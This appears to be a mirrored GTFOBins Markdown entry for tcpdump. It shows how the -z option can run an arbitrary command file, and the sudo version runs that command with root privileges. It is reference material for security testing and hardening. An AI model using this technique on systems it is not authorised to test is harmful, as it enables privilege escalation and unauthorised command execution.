mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
19 lines
503 B
Markdown
19 lines
503 B
Markdown
---
|
|
description: These require some traffic to be actually captured. Also note that the subprocess is immediately sent to the background.
|
|
functions:
|
|
command:
|
|
- code: |
|
|
COMMAND='id'
|
|
TF=$(mktemp)
|
|
echo "$COMMAND" > $TF
|
|
chmod +x $TF
|
|
tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
|
|
sudo:
|
|
- code: |
|
|
COMMAND='id'
|
|
TF=$(mktemp)
|
|
echo "$COMMAND" > $TF
|
|
chmod +x $TF
|
|
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
|
|
---
|